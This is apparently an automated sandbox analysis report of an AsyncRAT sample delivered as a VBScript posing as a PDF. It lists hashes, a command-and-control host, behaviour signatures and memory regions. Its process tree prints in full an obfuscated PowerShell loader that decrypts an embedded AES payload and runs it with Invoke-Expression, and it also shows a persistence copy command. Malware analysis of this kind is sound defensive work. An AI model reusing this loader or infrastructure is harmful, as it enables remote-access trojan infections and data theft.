Analysis

  • max time kernel
    345s
  • max time network
    601s
  • platform
    windows10-1703_x64
  • resource
    win10-20240611-en
  • resource tags

    arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
  • submitted
    18-07-2024 18:17

General

  • Target

    33049587783_SC_PDF.vbs

  • Size

    124KB

  • MD5

    21240c47b62ab8ec3a2c5bd3a8346139

  • SHA1

    e7cec79c61f05c0098fb482752204e6cc98bc256

  • SHA256

    6c3b11ec24150c5a9fd09c81a747494aa356c9d26ebe93dee5fd99b751f53e42

  • SHA512

    0c277c57b1b7d5c87eb8b417a30a3224fc79f4e02f4056962a7769c16823c62254d2fb7b3fd2b0e324d936ad834ff2f6440813da0ebd4a23510cab3a738dd813

  • SSDEEP

    3072:+50KKKKKKKKUKKKKKKKKsKKKKKKKKqDyKKKKKKKKg8KKKKKKKKjZzAfKKKKKKKKj:+aKKKKKKKKUKKKKKKKKsKKKKKKKKqWKp

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

anargaz.duckdns.org:2011

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\33049587783_SC_PDF.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:5112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI05500911371231083221953259509636CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9MEGrRzIZ0AnAInnCBAAvc0WhrmAYvGHrar3C0tXRQdwheH6vDW4uK2psEXYbwmmC0wCiyec6HgNN1x5bdwducD9ETL7/znM+im7NufOkvVcU+fke+s0CL9tZ3FFvkl632aZxXn8aXEq3WXpguovAwFAO0XFjMFO/jNoojqrRncK/Pa1vqm6RcDteTOGL7FSNNZx6UEDKOQLNqinL2zptv39y7tVXlZTK1vOTRHLfbx/2PgeMPmL56BGwiZLdICnejq5bqw+DRL5QAgk5yXnBG96G1SuFXGbs6DD50EbRPm1Y95BwEBH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vs8KpmbjdTXNXYp6EKUKqQvcKYHy3MqIA9K2XOAE2yxnZpRRyGTfEVaSdAcLANVMI7MGAgPmOTDgmdCs+3GcoyC7HFXJYE9AVWWHytIB3ZCUBc622Aep5z5DYDL7YySV6X+pUBYgvbNKWEVRYEkxARP79A3ZFSTi1hPZkjkzx6tXpLoBqBGlbzOBNadV2ohjkzr87Fu3u1M2tj0arON9H9sIUEhn/wbo2LFyawJaQgR8z9j6sCyUfaxuMqN78tryeFRAwDLf/2Yt7Lv83Q4SELdFLCawZf+bkwcudNOAioDc39ayL2F/4oSM4WobXQFRyAoYRJ3rkmr9zvxHu7AG+aoJh0HSTSpWaAE9LDLMZrpwAiwhcFQkfpEWhmwQ8q4J/B2yFrzhqnkDEJKo5ef2rV9yrJjYJTTBMzCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4492
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\desfalco.vbs"
        3⤵
          PID:4780
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
          3⤵
            PID:5028
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4356

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\BU0KRETY\paste1[1].txt

        Filesize

        156B

        MD5

        ad6c37ef980373e9bcbd14810fad34bc

        SHA1

        9c061a1b3608b7c7f1db7cd06c8246913ee11bda

        SHA256

        ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c

        SHA512

        30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y5d0xtka.ctf.ps1

        Filesize

        1B

        MD5

        c4ca4238a0b923820dcc509a6f75849b

        SHA1

        356a192b7913b04c54574d18c28d46e6395428ab

        SHA256

        6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

        SHA512

        4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

      • memory/4356-124-0x0000000009C80000-0x0000000009CE6000-memory.dmp

        Filesize

        408KB

      • memory/4356-123-0x000000000A110000-0x000000000A60E000-memory.dmp

        Filesize

        5.0MB

      • memory/4356-122-0x0000000009B70000-0x0000000009C0C000-memory.dmp

        Filesize

        624KB

      • memory/4356-106-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

      • memory/4492-40-0x00007FF9FC433000-0x00007FF9FC434000-memory.dmp

        Filesize

        4KB

      • memory/4492-39-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

        Filesize

        9.9MB

      • memory/4492-24-0x0000021400390000-0x0000021400406000-memory.dmp

        Filesize

        472KB

      • memory/4492-41-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

        Filesize

        9.9MB

      • memory/4492-42-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

        Filesize

        9.9MB

      • memory/4492-43-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

        Filesize

        9.9MB

      • memory/4492-44-0x0000021410B30000-0x0000021410D1C000-memory.dmp

        Filesize

        1.9MB

      • memory/4492-23-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

        Filesize

        9.9MB

      • memory/4492-115-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

        Filesize

        9.9MB

      • memory/4492-22-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

        Filesize

        9.9MB

      • memory/4492-19-0x00000214001E0000-0x0000021400202000-memory.dmp

        Filesize

        136KB

      • memory/4492-14-0x00007FF9FC433000-0x00007FF9FC434000-memory.dmp

        Filesize

        4KB